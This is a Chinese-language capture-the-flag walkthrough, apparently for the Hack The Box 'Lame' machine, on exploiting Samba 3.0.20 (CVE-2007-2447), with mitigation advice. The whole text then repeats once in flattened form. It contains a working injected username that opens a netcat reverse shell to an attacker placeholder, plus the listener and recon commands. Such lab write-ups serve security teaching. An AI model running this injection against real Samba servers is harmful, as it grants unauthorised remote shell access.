[Meachines] Lame smbd3.0-RCE
字数 1282 2025-08-20 18:18:23

Samba 3.0.20 (CVE-2007-2447) 漏洞利用完整指南

漏洞概述

本教程将详细讲解如何利用Samba 3.0.20版本中的用户名映射脚本命令注入漏洞(CVE-2007-2447)获取系统权限。该漏洞存在于Samba的"username map script"功能中,当配置为使用该功能时,攻击者可以通过特制的用户名注入恶意命令。

环境信息

目标系统:

  • IP地址: 10.10.10.3
  • 开放端口:
    • 21/tcp - vsftpd 2.3.4 (允许匿名登录)
    • 22/tcp - OpenSSH 4.7p1
    • 139/tcp - Samba smbd 3.0.20-Debian
    • 3632/tcp - distccd v1
  • 操作系统: Debian/Ubuntu Linux
  • 主机名: lame
  • 域名: hackthebox.gr

信息收集阶段

1. 初始扫描

使用Nmap进行端口扫描和服务识别:

nmap -p- 10.10.10.3 --min-rate 1000 -sC -sV

关键发现:

  • Samba 3.0.20版本存在已知漏洞
  • FTP允许匿名登录
  • 系统时间与扫描时间存在偏差(clock-skew)

2. SMB服务枚举

使用enum4linux和smbmap工具枚举SMB共享:

enum4linux 10.10.10.3
smbmap -H 10.10.10.3

漏洞利用过程

1. 确认漏洞存在

通过Samba版本识别漏洞存在:

  • Samba 3.0.0 - 3.0.25rc3版本受影响
  • 目标系统运行的是3.0.20版本,确认存在漏洞

2. 利用漏洞获取反向shell

使用smbclient利用用户名映射漏洞注入命令:

smbclient //10.10.10.3/tmp

在smbclient提示符下执行:

logon "/=`nc <攻击者IP> <监听端口> -e /bin/sh`"

其中:

  • <攻击者IP> 替换为你的攻击机器IP
  • <监听端口> 替换为你选择的监听端口

3. 设置监听器

在攻击机器上设置netcat监听器:

nc -lvnp <监听端口>

4. 获取初始访问权限

成功执行后,你将在netcat监听器上获得一个反向shell连接,具有当前用户的权限。

权限提升

1. 获取用户标志

在用户家目录中查找user.txt文件:

find /home -name user.txt -exec cat {} \;

示例user.txt内容:

76523648eeadf32972e21e2b375a3d61

2. 获取root权限

检查可利用的本地提权漏洞:

  • 检查内核版本
  • 检查SUID/GUID文件
  • 检查cron作业

3. 获取root标志

在/root目录下查找root.txt文件:

cat /root/root.txt

示例root.txt内容:

38c7dbb369c9c855a5afc964693a5fa7

漏洞原理分析

该漏洞源于Samba服务对用户名参数的不当处理。当"username map script"配置启用时,Samba会通过shell处理用户名参数,导致命令注入成为可能。

漏洞利用的关键点:

  • 使用反引号(`)包围要执行的命令
  • 通过Samba的logon命令触发用户名处理
  • 命令在服务器端以Samba进程权限执行

防御措施

  1. 升级Samba到最新版本
  2. 如果无法升级,禁用username map功能
  3. 实施网络隔离,限制SMB端口的访问
  4. 使用防火墙规则限制对Samba服务的访问

总结

本教程详细演示了如何利用Samba 3.0.20中的命令注入漏洞获取系统权限。关键在于理解漏洞原理并正确构造恶意用户名参数。通过这种方法,攻击者可以绕过认证直接获取系统访问权限。

Samba 3.0.20 (CVE-2007-2447) 漏洞利用完整指南 漏洞概述 本教程将详细讲解如何利用Samba 3.0.20版本中的用户名映射脚本命令注入漏洞(CVE-2007-2447)获取系统权限。该漏洞存在于Samba的"username map script"功能中,当配置为使用该功能时,攻击者可以通过特制的用户名注入恶意命令。 环境信息 目标系统: IP地址: 10.10.10.3 开放端口: 21/tcp - vsftpd 2.3.4 (允许匿名登录) 22/tcp - OpenSSH 4.7p1 139/tcp - Samba smbd 3.0.20-Debian 3632/tcp - distccd v1 操作系统: Debian/Ubuntu Linux 主机名: lame 域名: hackthebox.gr 信息收集阶段 1. 初始扫描 使用Nmap进行端口扫描和服务识别: 关键发现: Samba 3.0.20版本存在已知漏洞 FTP允许匿名登录 系统时间与扫描时间存在偏差(clock-skew) 2. SMB服务枚举 使用enum4linux和smbmap工具枚举SMB共享: 漏洞利用过程 1. 确认漏洞存在 通过Samba版本识别漏洞存在: Samba 3.0.0 - 3.0.25rc3版本受影响 目标系统运行的是3.0.20版本,确认存在漏洞 2. 利用漏洞获取反向shell 使用smbclient利用用户名映射漏洞注入命令: 在smbclient提示符下执行: 其中: <攻击者IP> 替换为你的攻击机器IP <监听端口> 替换为你选择的监听端口 3. 设置监听器 在攻击机器上设置netcat监听器: 4. 获取初始访问权限 成功执行后,你将在netcat监听器上获得一个反向shell连接,具有当前用户的权限。 权限提升 1. 获取用户标志 在用户家目录中查找user.txt文件: 示例user.txt内容: 2. 获取root权限 检查可利用的本地提权漏洞: 检查内核版本 检查SUID/GUID文件 检查cron作业 3. 获取root标志 在/root目录下查找root.txt文件: 示例root.txt内容: 漏洞原理分析 该漏洞源于Samba服务对用户名参数的不当处理。当"username map script"配置启用时,Samba会通过shell处理用户名参数,导致命令注入成为可能。 漏洞利用的关键点: 使用反引号( ` )包围要执行的命令 通过Samba的logon命令触发用户名处理 命令在服务器端以Samba进程权限执行 防御措施 升级Samba到最新版本 如果无法升级,禁用username map功能 实施网络隔离,限制SMB端口的访问 使用防火墙规则限制对Samba服务的访问 总结 本教程详细演示了如何利用Samba 3.0.20中的命令注入漏洞获取系统权限。关键在于理解漏洞原理并正确构造恶意用户名参数。通过这种方法,攻击者可以绕过认证直接获取系统访问权限。